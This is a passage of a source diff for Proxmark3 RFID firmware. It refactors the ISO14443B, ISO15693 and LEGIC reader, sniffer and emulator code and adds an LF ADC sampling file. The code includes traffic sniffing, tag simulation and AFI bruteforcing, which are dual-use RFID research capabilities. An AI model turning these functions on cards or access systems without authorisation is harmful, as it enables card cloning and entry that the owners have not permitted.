Demod14bInit(BigBuf_malloc(MAX_FRAME_SIZE));
|
||||
|
||||
// The DMA buffer, used to stream samples from the FPGA
|
||||
int8_t *dmaBuf = (int8_t *) BigBuf_malloc(ISO14443B_DMA_BUFFER_SIZE);
|
||||
|
@ -1151,6 +1170,9 @@ uint8_t iso14443b_apdu(uint8_t const *message, size_t message_length, uint8_t *r
|
|||
CodeAndTransmit14443bAsReader(message_frame, message_length + 4); //no
|
||||
// get response
|
||||
GetTagSamplesFor14443bDemod(); //no
|
||||
|
||||
FpgaDisableTracing();
|
||||
|
||||
if (Demod.len < 3)
|
||||
return 0;
|
||||
|
||||
|
@ -1177,6 +1199,7 @@ uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card) {
|
|||
|
||||
CodeAndTransmit14443bAsReader(init_srx, sizeof(init_srx));
|
||||
GetTagSamplesFor14443bDemod(); //no
|
||||
FpgaDisableTracing();
|
||||
|
||||
if (Demod.len == 0)
|
||||
return 2;
|
||||
|
@ -1190,6 +1213,7 @@ uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card) {
|
|||
|
||||
CodeAndTransmit14443bAsReader(select_srx, sizeof(select_srx));
|
||||
GetTagSamplesFor14443bDemod(); //no
|
||||
FpgaDisableTracing();
|
||||
|
||||
if (Demod.len != 3)
|
||||
return 2;
|
||||
|
@ -1208,6 +1232,7 @@ uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card) {
|
|||
AddCrc14B(select_srx, 1);
|
||||
CodeAndTransmit14443bAsReader(select_srx, 3); // Only first three bytes for this one
|
||||
GetTagSamplesFor14443bDemod(); //no
|
||||
FpgaDisableTracing();
|
||||
|
||||
if (Demod.len != 10)
|
||||
return 2;
|
||||
|
@ -1239,6 +1264,7 @@ uint8_t iso14443b_select_card(iso14b_card_select_t *card) {
|
|||
// first, wake up the tag
|
||||
CodeAndTransmit14443bAsReader(wupb, sizeof(wupb));
|
||||
GetTagSamplesFor14443bDemod(); //select_card
|
||||
FpgaDisableTracing();
|
||||
|
||||
// ATQB too short?
|
||||
if (Demod.len < 14)
|
||||
|
@ -1263,6 +1289,7 @@ uint8_t iso14443b_select_card(iso14b_card_select_t *card) {
|
|||
|
||||
CodeAndTransmit14443bAsReader(attrib, sizeof(attrib));
|
||||
GetTagSamplesFor14443bDemod();//select_card
|
||||
FpgaDisableTracing();
|
||||
|
||||
// Answer to ATTRIB too short?
|
||||
if (Demod.len < 3)
|
||||
|
@ -1306,8 +1333,8 @@ void iso14443b_setup() {
|
|||
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
|
||||
|
||||
// Initialize Demod and Uart structs
|
||||
DemodInit(BigBuf_malloc(MAX_FRAME_SIZE));
|
||||
UartInit(BigBuf_malloc(MAX_FRAME_SIZE));
|
||||
Demod14bInit(BigBuf_malloc(MAX_FRAME_SIZE));
|
||||
Uart14bInit(BigBuf_malloc(MAX_FRAME_SIZE));
|
||||
|
||||
// connect Demodulated Signal to ADC:
|
||||
SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
|
||||
|
@ -1339,6 +1366,7 @@ static bool ReadSTBlock(uint8_t block) {
|
|||
AddCrc14B(cmd, 2);
|
||||
CodeAndTransmit14443bAsReader(cmd, sizeof(cmd));
|
||||
GetTagSamplesFor14443bDemod();
|
||||
FpgaDisableTracing();
|
||||
|
||||
// Check if we got an answer from the tag
|
||||
if (Demod.len != 6) {
|
||||
|
@ -1411,8 +1439,8 @@ static void iso1444b_setup_sniff(void) {
|
|||
set_tracing(true);
|
||||
|
||||
// Initialize Demod and Uart structs
|
||||
DemodInit(BigBuf_malloc(MAX_FRAME_SIZE));
|
||||
UartInit(BigBuf_malloc(MAX_FRAME_SIZE));
|
||||
Demod14bInit(BigBuf_malloc(MAX_FRAME_SIZE));
|
||||
Uart14bInit(BigBuf_malloc(MAX_FRAME_SIZE));
|
||||
|
||||
if (DBGLEVEL > 1) {
|
||||
// Print debug information about the buffer sizes
|
||||
|
@ -1502,8 +1530,8 @@ void RAMFUNC SniffIso14443b(void) {
|
|||
if (Handle14443bReaderUartBit(ci & 0x01)) {
|
||||
time_stop = GetCountSspClk() - time_0;
|
||||
LogTrace(Uart.output, Uart.byteCnt, time_start, time_stop, NULL, true);
|
||||
UartReset();
|
||||
DemodReset();
|
||||
Uart14bReset();
|
||||
Demod14bReset();
|
||||
} else {
|
||||
time_start = GetCountSspClk() - time_0;
|
||||
}
|
||||
|
@ -1511,12 +1539,12 @@ void RAMFUNC SniffIso14443b(void) {
|
|||
if (Handle14443bReaderUartBit(cq & 0x01)) {
|
||||
time_stop = GetCountSspClk() - time_0;
|
||||
LogTrace(Uart.output, Uart.byteCnt, time_start, time_stop, NULL, true);
|
||||
UartReset();
|
||||
DemodReset();
|
||||
Uart14bReset();
|
||||
Demod14bReset();
|
||||
} else {
|
||||
time_start = GetCountSspClk() - time_0;
|
||||
}
|
||||
ReaderIsActive = (Uart.state > STATE_GOT_FALLING_EDGE_OF_SOF);
|
||||
ReaderIsActive = (Uart.state > STATE_14B_GOT_FALLING_EDGE_OF_SOF);
|
||||
}
|
||||
|
||||
// no need to try decoding tag data if the reader is sending - and we cannot afford the time
|
||||
|
@ -1527,8 +1555,8 @@ void RAMFUNC SniffIso14443b(void) {
|
|||
if (Handle14443bTagSamplesDemod(ci, cq)) {
|
||||
time_stop = GetCountSspClk() - time_0;
|
||||
LogTrace(Demod.output, Demod.len, time_start, time_stop, NULL, false);
|
||||
UartReset();
|
||||
DemodReset();
|
||||
Uart14bReset();
|
||||
Demod14bReset();
|
||||
} else {
|
||||
time_start = GetCountSspClk() - time_0;
|
||||
}
|
||||
|
@ -1588,7 +1616,7 @@ void SendRawCommand14443B_Ex(PacketCommandNG *c) {
|
|||
if ((param & ISO14B_SELECT_STD) == ISO14B_SELECT_STD) {
|
||||
iso14b_card_select_t *card = (iso14b_card_select_t *)buf;
|
||||
status = iso14443b_select_card(card);
|
||||
reply_old(CMD_ACK, status, sendlen, 0, buf, sendlen);
|
||||
reply_mix(CMD_ACK, status, sendlen, 0, buf, sendlen);
|
||||
// 0: OK 2: attrib fail, 3:crc fail,
|
||||
if (status > 0) goto out;
|
||||
}
|
||||
|
@ -1596,14 +1624,14 @@ void SendRawCommand14443B_Ex(PacketCommandNG *c) {
|
|||
if ((param & ISO14B_SELECT_SR) == ISO14B_SELECT_SR) {
|
||||
iso14b_card_select_t *card = (iso14b_card_select_t *)buf;
|
||||
status = iso14443b_select_srx_card(card);
|
||||
reply_old(CMD_ACK, status, sendlen, 0, buf, sendlen);
|
||||
reply_mix(CMD_ACK, status, sendlen, 0, buf, sendlen);
|
||||
// 0: OK 2: demod fail, 3:crc fail,
|
||||
if (status > 0) goto out;
|
||||
}
|
||||
|
||||
if ((param & ISO14B_APDU) == ISO14B_APDU) {
|
||||
status = iso14443b_apdu(cmd, len, buf);
|
||||
reply_old(CMD_ACK, status, status, 0, buf, status);
|
||||
reply_mix(CMD_ACK, status, status, 0, buf, status);
|
||||
}
|
||||
|
||||
if ((param & ISO14B_RAW) == ISO14B_RAW) {
|
||||
|
@ -1614,6 +1642,7 @@ void SendRawCommand14443B_Ex(PacketCommandNG *c) {
|
|||
|
||||
CodeAndTransmit14443bAsReader(cmd, len); // raw
|
||||
GetTagSamplesFor14443bDemod(); // raw
|
||||
FpgaDisableTracing();
|
||||
|
||||
sendlen = MIN(Demod.len, PM3_CMD_DATA_SIZE);
|
||||
status = (Demod.len > 0) ? 0 : 1;
|
||||
|
|
|
@ -13,18 +13,10 @@
|
|||
#ifndef __ISO14443B_H
|
||||
#define __ISO14443B_H
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
#include "common.h"
|
||||
|
||||
#include "proxmark3.h"
|
||||
#include "common.h" // access to global variable: DBGLEVEL
|
||||
#include "apps.h"
|
||||
#include "util.h"
|
||||
#include "string.h"
|
||||
#include "crc16.h"
|
||||
#include "mifare.h"
|
||||
#include "protocols.h"
|
||||
#include "pm3_cmd.h"
|
||||
|
||||
#ifndef AddCrc14A
|
||||
# define AddCrc14A(data, len) compute_crc(CRC_14443_A, (data), (len), (data)+(len), (data)+(len)+1)
|
||||
|
@ -34,12 +26,18 @@ extern "C" {
|
|||
# define AddCrc14B(data, len) compute_crc(CRC_14443_B, (data), (len), (data)+(len), (data)+(len)+1)
|
||||
#endif
|
||||
|
||||
void SendRawCommand14443B_Ex(PacketCommandNG *c);
|
||||
void iso14443b_setup();
|
||||
uint8_t iso14443b_apdu(uint8_t const *message, size_t message_length, uint8_t *response);
|
||||
uint8_t iso14443b_select_card(iso14b_card_select_t *card);
|
||||
uint8_t iso14443b_select_card_srx(iso14b_card_select_t *card);
|
||||
|
||||
void SimulateIso14443bTag(uint32_t pupi);
|
||||
void AcquireRawAdcSamplesIso14443b(uint32_t parameter);
|
||||
void ReadSTMemoryIso14443b(uint8_t numofblocks);
|
||||
void RAMFUNC SniffIso14443b(void);
|
||||
void SendRawCommand14443B(uint32_t, uint32_t, uint8_t, uint8_t[]);
|
||||
void SendRawCommand14443B_Ex(PacketCommandNG *c);
|
||||
|
||||
// testfunctions
|
||||
void WaitForFpgaDelayQueueIsEmpty(uint16_t delay);
|
||||
void ClearFpgaShiftingRegisters(void);
|
||||
|
@ -53,8 +51,4 @@ void ClearFpgaShiftingRegisters(void);
|
|||
#define SIM_ACKNOWLEDGE 5
|
||||
#define SIM_WORK 6
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* __ISO14443B_H */
|
||||
|
|
|
@ -32,8 +32,8 @@
|
|||
//
|
||||
// VICC (tag) -> VCD (reader)
|
||||
// Modulation:
|
||||
// ASK / one subcarrier (423,75 khz)
|
||||
// FSK / two subcarriers (423,75 khz && 484,28 khz)
|
||||
// ASK / one subcarrier (423,75 kHz)
|
||||
// FSK / two subcarriers (423,75 kHz && 484,28 kHz)
|
||||
// Data Rates / Modes:
|
||||
// low ASK: 6,62 kbit/s
|
||||
// low FSK: 6.67 kbit/s
|
||||
|
@ -58,12 +58,20 @@
|
|||
// *) remove or refactor code under "depricated"
|
||||
// *) document all the functions
|
||||
|
||||
#include "proxmark3.h"
|
||||
#include "iso15693.h"
|
||||
|
||||
#include "proxmark3_arm.h"
|
||||
#include "util.h"
|
||||
#include "apps.h"
|
||||
#include "string.h"
|
||||
#include "iso15693tools.h"
|
||||
#include "cmd.h"
|
||||
#include "appmain.h"
|
||||
#include "dbprint.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "commonutil.h"
|
||||
#include "ticks.h"
|
||||
#include "BigBuf.h"
|
||||
#include "crc16.h"
|
||||
|
||||
///////////////////////////////////////////////////////////////////////
|
||||
// ISO 15693 Part 2 - Air Interface
|
||||
|
@ -85,8 +93,6 @@
|
|||
#define CheckCrc15(data, len) check_crc(CRC_15693, (data), (len))
|
||||
#define AddCrc15(data, len) compute_crc(CRC_15693, (data), (len), (data)+(len), (data)+(len)+1)
|
||||
|
||||
#define sprintUID(target,uid) Iso15693sprintUID((target), (uid))
|
||||
|
||||
static void BuildIdentifyRequest(uint8_t *cmdout);
|
||||
//static void BuildReadBlockRequest(uint8_t *cmdout, uint8_t *uid, uint8_t blockNumber );
|
||||
static void BuildInventoryResponse(uint8_t *cmdout, uint8_t *uid);
|
||||
|
@ -695,7 +701,7 @@ static void BuildInventoryResponse(uint8_t *cmdout, uint8_t *uid) {
|
|||
// speed ... 0 low speed, 1 hi speed
|
||||
// **recv will return you a pointer to the received data
|
||||
// If you do not need the answer use NULL for *recv[]
|
||||
// return: lenght of received data
|
||||
// return: length of received data
|
||||
// logging enabled
|
||||
int SendDataTag(uint8_t *send, int sendlen, bool init, int speed, uint8_t *outdata) {
|
||||
|
||||
|
@ -758,7 +764,7 @@ void DbdecodeIso15693Answer(int len, uint8_t *d) {
|
|||
strncat(status, "0F: no info", DBD15STATLEN - strlen(status));
|
||||
break;
|
||||
case 0x10:
|
||||
strncat(status, "10: dont exist", DBD15STATLEN - strlen(status));
|
||||
strncat(status, "10: don't exist", DBD15STATLEN - strlen(status));
|
||||
break;
|
||||
case 0x11:
|
||||
strncat(status, "11: lock again", DBD15STATLEN - strlen(status));
|
||||
|
@ -921,6 +927,7 @@ void BruteforceIso15693Afi(uint32_t speed) {
|
|||
uint8_t buf[ISO15_MAX_FRAME];
|
||||
memset(buf, 0x00, sizeof(buf));
|
||||
int datalen = 0, recvlen = 0;
|
||||
bool aborted = false;
|
||||
|
||||
Iso15693InitReader();
|
||||
|
||||
|
@ -929,16 +936,15 @@ void BruteforceIso15693Afi(uint32_t speed) {
|
|||
|
||||
data[0] = ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | ISO15_REQ_INVENTORY | ISO15_REQINV_SLOT1;
|
||||
data[1] = ISO15_CMD_INVENTORY;
|
||||
data[2] = 0; // mask length
|
||||
data[2] = 0; // AFI
|
||||
AddCrc15(data, 3);
|
||||
datalen += 2;
|
||||
|
||||
datalen = 5;
|
||||
recvlen = SendDataTag(data, datalen, false, speed, buf);
|
||||
|
||||
WDT_HIT();
|
||||
|
||||
if (recvlen >= 12) {
|
||||
Dbprintf("NoAFI UID = %s", sprintUID(NULL, buf + 2));
|
||||
Dbprintf("NoAFI UID = %s", iso15693_sprintUID(NULL, buf + 2));
|
||||
}
|
||||
|
||||
// now with AFI
|
||||
|
@ -947,17 +953,21 @@ void BruteforceIso15693Afi(uint32_t speed) {
|
|||
data[2] = 0; // AFI
|
||||
data[3] = 0; // mask length
|
||||
|
||||
// 4 + 2crc
|
||||
datalen = 6;
|
||||
|
||||
for (uint16_t i = 0; i < 256; i++) {
|
||||
data[2] = i & 0xFF;
|
||||
AddCrc15(data, 4);
|
||||
datalen += 2;
|
||||
recvlen = SendDataTag(data, datalen, false, speed, buf);
|
||||
WDT_HIT();
|
||||
if (recvlen >= 12) {
|
||||
Dbprintf("AFI = %i UID = %s", i, sprintUID(NULL, buf + 2));
|
||||
Dbprintf("AFI = %i UID = %s", i, iso15693_sprintUID(NULL, buf + 2));
|
||||
}
|
||||
|
||||
if (BUTTON_PRESS()) {
|
||||
aborted = BUTTON_PRESS();
|
||||
|
||||
if (aborted) {
|
||||
DbpString("button pressed, aborting..");
|
||||
break;
|
||||
}
|
||||
|
@ -965,6 +975,12 @@ void BruteforceIso15693Afi(uint32_t speed) {
|
|||
|
||||
DbpString("AFI Bruteforcing done.");
|
||||
switch_off();
|
||||
|
||||
if (aborted) {
|
||||
reply_ng(CMD_ACK, PM3_EOPABORTED, NULL, 0);
|
||||
} else {
|
||||
reply_ng(CMD_ACK, PM3_SUCCESS, NULL, 0);
|
||||
}
|
||||
}
|
||||
|
||||
// Allows to directly send commands to the tag via the client
|
||||
|
|
26
armsrc/iso15693.h
Normal file
26
armsrc/iso15693.h
Normal file
|
@ -0,0 +1,26 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Jonathan Westhues, Aug 2005
|
||||
// Gerhard de Koning Gans, April 2008, May 2011
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// Definitions internal to the app source.
|
||||
//-----------------------------------------------------------------------------
|
||||
#ifndef __ISO15693_H
|
||||
#define __ISO15693_H
|
||||
|
||||
#include "common.h"
|
||||
|
||||
#include "pm3_cmd.h" // struct
|
||||
|
||||
void RecordRawAdcSamplesIso15693(void);
|
||||
void AcquireRawAdcSamplesIso15693(void);
|
||||
void ReaderIso15693(uint32_t parameter); // Simulate an ISO15693 reader - greg
|
||||
void SimTagIso15693(uint32_t parameter, uint8_t *uid); // simulate an ISO15693 tag - greg
|
||||
void BruteforceIso15693Afi(uint32_t speed); // find an AFI of a tag - atrox
|
||||
void DirectTag15693Command(uint32_t datalen, uint32_t speed, uint32_t recv, uint8_t *data); // send arbitrary commands from CLI - atrox
|
||||
void Iso15693InitReader(void);
|
||||
|
||||
#endif
|
|
@ -7,61 +7,61 @@
|
|||
Linker script for the ARM binary
|
||||
-----------------------------------------------------------------------------
|
||||
*/
|
||||
INCLUDE ../common/ldscript.common
|
||||
INCLUDE ../common_arm/ldscript.common
|
||||
|
||||
PHDRS
|
||||
{
|
||||
text PT_LOAD FLAGS(5);
|
||||
data PT_LOAD;
|
||||
bss PT_LOAD;
|
||||
text PT_LOAD FLAGS(5);
|
||||
data PT_LOAD;
|
||||
bss PT_LOAD;
|
||||
}
|
||||
|
||||
ENTRY(Vector)
|
||||
SECTIONS
|
||||
{
|
||||
.start : {
|
||||
*(.startos)
|
||||
} >osimage :text
|
||||
.start : {
|
||||
*(.startos)
|
||||
} >osimage :text
|
||||
|
||||
.text : {
|
||||
KEEP(*(stage1_image))
|
||||
*(.text)
|
||||
*(.text.*)
|
||||
*(.eh_frame)
|
||||
*(.glue_7)
|
||||
*(.glue_7t)
|
||||
} >osimage :text
|
||||
.text : {
|
||||
KEEP(*(stage1_image))
|
||||
*(.text)
|
||||
*(.text.*)
|
||||
*(.eh_frame)
|
||||
*(.glue_7)
|
||||
*(.glue_7t)
|
||||
} >osimage :text
|
||||
|
||||
.rodata : {
|
||||
*(.rodata)
|
||||
*(.rodata.*)
|
||||
*(fpga_all_bit.data)
|
||||
KEEP(*(.version_information))
|
||||
. = ALIGN(8);
|
||||
} >osimage :text
|
||||
.rodata : {
|
||||
*(.rodata)
|
||||
*(.rodata.*)
|
||||
*(fpga_all_bit.data)
|
||||
KEEP(*(.version_information))
|
||||
. = ALIGN(8);
|
||||
} >osimage :text
|
||||
|
||||
.data : {
|
||||
KEEP(*(compressed_data))
|
||||
*(.data)
|
||||
*(.data.*)
|
||||
*(.ramfunc)
|
||||
. = ALIGN(4);
|
||||
} >ram AT>osimage :data
|
||||
.data : {
|
||||
KEEP(*(compressed_data))
|
||||
*(.data)
|
||||
*(.data.*)
|
||||
*(.ramfunc)
|
||||
. = ALIGN(4);
|
||||
} >ram AT>osimage :data
|
||||
|
||||
__data_src_start__ = LOADADDR(.data);
|
||||
__data_start__ = ADDR(.data);
|
||||
__data_end__ = __data_start__ + SIZEOF(.data);
|
||||
__os_size__ = SIZEOF(.text) + SIZEOF(.data) + SIZEOF(.rodata);
|
||||
|
||||
.bss : {
|
||||
__bss_start__ = .;
|
||||
*(.bss)
|
||||
*(.bss.*)
|
||||
. = ALIGN(4);
|
||||
__bss_end__ = .;
|
||||
} >ram AT>ram :bss
|
||||
__data_src_start__ = LOADADDR(.data);
|
||||
__data_start__ = ADDR(.data);
|
||||
__data_end__ = __data_start__ + SIZEOF(.data);
|
||||
__os_size__ = SIZEOF(.text) + SIZEOF(.data) + SIZEOF(.rodata);
|
||||
|
||||
.bss : {
|
||||
__bss_start__ = .;
|
||||
*(.bss)
|
||||
*(.bss.*)
|
||||
. = ALIGN(4);
|
||||
__bss_end__ = .;
|
||||
} >ram AT>ram :bss
|
||||
|
||||
.commonarea (NOLOAD) : {
|
||||
*(.commonarea)
|
||||
} >commonarea :NONE
|
||||
.commonarea (NOLOAD) : {
|
||||
*(.commonarea)
|
||||
} >commonarea :NONE
|
||||
}
|
||||
|
|
|
@ -11,11 +11,20 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
#include "legicrf.h"
|
||||
|
||||
#include "ticks.h" /* timers */
|
||||
#include "crc.h" /* legic crc-4 */
|
||||
#include "legic_prng.h" /* legic PRNG impl */
|
||||
#include "legic.h" /* legic_card_select_t struct */
|
||||
|
||||
#include "proxmark3_arm.h"
|
||||
#include "cmd.h"
|
||||
#include "BigBuf.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "ticks.h"
|
||||
#include "dbprint.h"
|
||||
#include "util.h"
|
||||
#include "string.h"
|
||||
#include "protocols.h"
|
||||
|
||||
static uint8_t *legic_mem; /* card memory, used for read, write */
|
||||
static legic_card_select_t card;/* metadata of currently selected card */
|
||||
static crc_t legic_crc;
|
||||
|
@ -395,6 +404,10 @@ bool write_byte(uint16_t index, uint8_t byte, uint8_t addr_sz) {
|
|||
//
|
||||
// Only this functions are public / called from appmain.c
|
||||
//-----------------------------------------------------------------------------
|
||||
legic_card_select_t* getLegicCardInfo(void) {
|
||||
return &card;
|
||||
}
|
||||
|
||||
void LegicRfInfo(void) {
|
||||
// configure ARM and FPGA
|
||||
init_reader(false);
|
||||
|
@ -432,6 +445,44 @@ OUT:
|
|||
StopTicks();
|
||||
}
|
||||
|
||||
int LegicRfReaderEx(uint16_t offset, uint16_t len, uint8_t iv) {
|
||||
|
||||
int res = PM3_SUCCESS;
|
||||
|
||||
// configure ARM and FPGA
|
||||
init_reader(false);
|
||||
|
||||
// establish shared secret and detect card type
|
||||
uint8_t card_type = setup_phase(iv);
|
||||
if (init_card(card_type, &card) != 0) {
|
||||
res = PM3_ESOFT;
|
||||
goto OUT;
|
||||
}
|
||||
|
||||
// do not read beyond card memory
|
||||
if (len + offset > card.cardsize) {
|
||||
len = card.cardsize - offset;
|
||||
}
|
||||
|
||||
for (uint16_t i = 0; i < len; ++i) {
|
||||
int16_t byte = read_byte(offset + i, card.cmdsize);
|
||||
if (byte == -1) {
|
||||
res = PM3_EOVFLOW;
|
||||
goto OUT;
|
||||
}
|
||||
legic_mem[i] = byte;
|
||||
|
||||
if (i < 4) {
|
||||
card.uid[i] = byte;
|
||||
}
|
||||
}
|
||||
|
||||
OUT:
|
||||
switch_off();
|
||||
StopTicks();
|
||||
return res;
|
||||
}
|
||||
|
||||
void LegicRfReader(uint16_t offset, uint16_t len, uint8_t iv) {
|
||||
// configure ARM and FPGA
|
||||
init_reader(false);
|
||||
|
@ -455,6 +506,10 @@ void LegicRfReader(uint16_t offset, uint16_t len, uint8_t iv) {
|
|||
goto OUT;
|
||||
}
|
||||
legic_mem[i] = byte;
|
||||
|
||||
if (i < 4) {
|
||||
card.uid[i] = byte;
|
||||
}
|
||||
}
|
||||
|
||||
// OK
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// (c) 2009 Henryk Plötz <henryk@ploetzli.ch>
|
||||
// 2018 AntiCat
|
||||
// 2020 iceman
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
|
@ -12,10 +13,13 @@
|
|||
#ifndef __LEGICRF_H
|
||||
#define __LEGICRF_H
|
||||
|
||||
#include "proxmark3.h"
|
||||
#include "common.h"
|
||||
#include "legic.h" /* legic_card_select_t struct */
|
||||
|
||||
void LegicRfInfo(void);
|
||||
int LegicRfReaderEx(uint16_t offset, uint16_t len, uint8_t iv);
|
||||
void LegicRfReader(uint16_t offset, uint16_t len, uint8_t iv);
|
||||
void LegicRfWriter(uint16_t offset, uint16_t len, uint8_t iv, uint8_t *data);
|
||||
|
||||
legic_card_select_t* getLegicCardInfo(void);
|
||||
#endif /* __LEGICRF_H */
|
||||
|
|
|
@ -9,13 +9,20 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// LEGIC RF simulation code
|
||||
//-----------------------------------------------------------------------------
|
||||
#include "legicrfsim.h"
|
||||
#include "legicrf.h"
|
||||
|
||||
#include "ticks.h" /* timers */
|
||||
#include "crc.h" /* legic crc-4 */
|
||||
#include "legic_prng.h" /* legic PRNG impl */
|
||||
#include "legic.h" /* legic_card_select_t struct */
|
||||
|
||||
#include "proxmark3_arm.h"
|
||||
#include "BigBuf.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "ticks.h"
|
||||
#include "dbprint.h"
|
||||
#include "util.h"
|
||||
|
||||
static uint8_t *legic_mem; /* card memory, used for sim */
|
||||
static legic_card_select_t card;/* metadata of currently selected card */
|
||||
static crc_t legic_crc;
|
||||
|
@ -453,12 +460,12 @@ void LegicRfSimulate(uint8_t cardtype) {
|
|||
|
||||
// verify command line input
|
||||
if (init_card(cardtype, &card) != 0) {
|
||||
DbpString("Unknown tagtype.");
|
||||
DbpString("[!] Unknown tagtype.");
|
||||
goto OUT;
|
||||
}
|
||||
|
||||
LED_A_ON();
|
||||
DbpString("Starting Legic emulator, press button to end");
|
||||
DbpString("[=] Starting Legic emulator, press " _YELLOW_("button") "to end");
|
||||
while (!BUTTON_PRESS() && !data_available()) {
|
||||
WDT_HIT();
|
||||
|
||||
|
@ -479,7 +486,7 @@ void LegicRfSimulate(uint8_t cardtype) {
|
|||
}
|
||||
|
||||
OUT:
|
||||
DbpString("Stopped");
|
||||
DbpString("[=] Sim stopped");
|
||||
switch_off();
|
||||
StopTicks();
|
||||
}
|
||||
|
|
|
@ -12,8 +12,8 @@
|
|||
#ifndef __LEGICRFSIM_H
|
||||
#define __LEGICRFSIM_H
|
||||
|
||||
#include "proxmark3.h"
|
||||
#include "common.h"
|
||||
|
||||
void LegicRfSimulate(uint8_t tagtype);
|
||||
void LegicRfSimulate(uint8_t cardtype);
|
||||
|
||||
#endif /* __LEGICRFSIM_H */
|
||||
|
|
319
armsrc/lfadc.c
Normal file
319
armsrc/lfadc.c
Normal file
|
@ -0,0 +1,319 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// LF ADC read/write implementation
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#include "lfadc.h"
|
||||
#include "lfsampling.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "ticks.h"
|
||||
#include "dbprint.h"
|
||||
|
||||
// Sam7s has several timers, we will use the source TIMER_CLOCK1 (aka AT91C_TC_CLKS_TIMER_DIV1_CLOCK)
|
||||
// TIMER_CLOCK1 = MCK/2, MCK is running at 48 MHz, Timer is running at 48/2 = 24 MHz
|
||||
// Carrier periods (T0) have duration of 8 microseconds (us), which is 1/125000 per second
|
||||
// T0 = TIMER_CLOCK1 / 125000 = 192
|
||||
//#define T0 192
|
||||
|
||||
// Sam7s has three counters, we will use the first TIMER_COUNTER_0 (aka TC0)
|
||||
// using TIMER_CLOCK3 (aka AT91C_TC_CLKS_TIMER_DIV3_CLOCK)
|
||||
// as a counting signal. TIMER_CLOCK3 = MCK/32, MCK is running at 48 MHz, so the timer is running at 48/32 = 1500 kHz
|
||||
// Carrier period (T0) have duration of 8 microseconds (us), which is 1/125000 per second (125 kHz frequency)
|
||||
// T0 = timer/carrier = 1500kHz/125kHz = 1500000/125000 = 6
|
||||
//#define HITAG_T0 3
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////////
|
||||
// Global variables
|
||||
//////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
bool rising_edge = false;
|
||||
bool logging = true;
|
||||
bool reader_mode = false;
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////////
|
||||
// Auxiliary functions
|
||||
//////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
bool lf_test_periods(size_t expected, size_t count) {
|
||||
// Compute 10% deviation (integer operation, so rounded down)
|
||||
size_t diviation = expected / 10;
|
||||
return ((count > (expected - diviation)) && (count < (expected + diviation)));
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////////
|
||||
// Low frequency (LF) adc passthrough functionality
|
||||
//////////////////////////////////////////////////////////////////////////////
|
||||
uint8_t previous_adc_val = 0;
|
||||
uint8_t adc_avg = 0;
|
||||
|
||||
void lf_sample_mean(void) {
|
||||
uint8_t periods = 0;
|
||||
uint32_t adc_sum = 0;
|
||||
while (periods < 32) {
|
||||
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
|
||||
adc_sum += AT91C_BASE_SSC->SSC_RHR;
|
||||
periods++;
|
||||
}
|
||||
}
|
||||
// division by 32
|
||||
adc_avg = adc_sum >> 5;
|
||||
|
||||
if (DBGLEVEL >= DBG_EXTENDED)
|
||||
Dbprintf("LF ADC average %u", adc_avg);
|
||||
}
|
||||
|
||||
size_t lf_count_edge_periods_ex(size_t max, bool wait, bool detect_gap) {
|
||||
size_t periods = 0;
|
||||
volatile uint8_t adc_val;
|
||||
uint8_t avg_peak = adc_avg + 3, avg_through = adc_avg - 3;
|
||||
// int16_t checked = 0;
|
||||
|
||||
while (!BUTTON_PRESS()) {
|
||||
|
||||
// only every 100th times, in order to save time when collecting samples.
|
||||
/*
|
||||
if (checked == 1000) {
|
||||
if (data_available()) {
|
||||
break;
|
||||
} else {
|
||||
checked = 0;
|
||||
}
|
||||
}
|
||||
++checked;
|
||||
*/
|
||||
WDT_HIT();
|
||||
|
||||
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
|
||||
adc_val = AT91C_BASE_SSC->SSC_RHR;
|
||||
periods++;
|
||||
|
||||
if (logging) logSampleSimple(adc_val);
|
||||
|
||||
// Only test field changes if state of adc values matter
|
||||
if (wait == false) {
|
||||
// Test if we are locating a field modulation (100% ASK = complete field drop)
|
||||
if (detect_gap) {
|
||||
// Only return when the field completely dissapeared
|
||||
if (adc_val == 0) {
|
||||
return periods;
|
||||
}
|
||||
} else {
|
||||
// Trigger on a modulation swap by observing an edge change
|
||||
if (rising_edge) {
|
||||
if ((previous_adc_val > avg_peak) && (adc_val <= previous_adc_val)) {
|
||||
rising_edge = false;
|
||||
return periods;
|
||||
}
|
||||
} else {
|
||||
if ((previous_adc_val < avg_through) && (adc_val >= previous_adc_val)) {
|
||||
rising_edge = true;
|
||||
return periods;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
previous_adc_val = adc_val;
|
||||
|
||||
if (periods >= max) return 0;
|
||||
}
|
||||
}
|
||||
if (logging) logSampleSimple(0xFF);
|
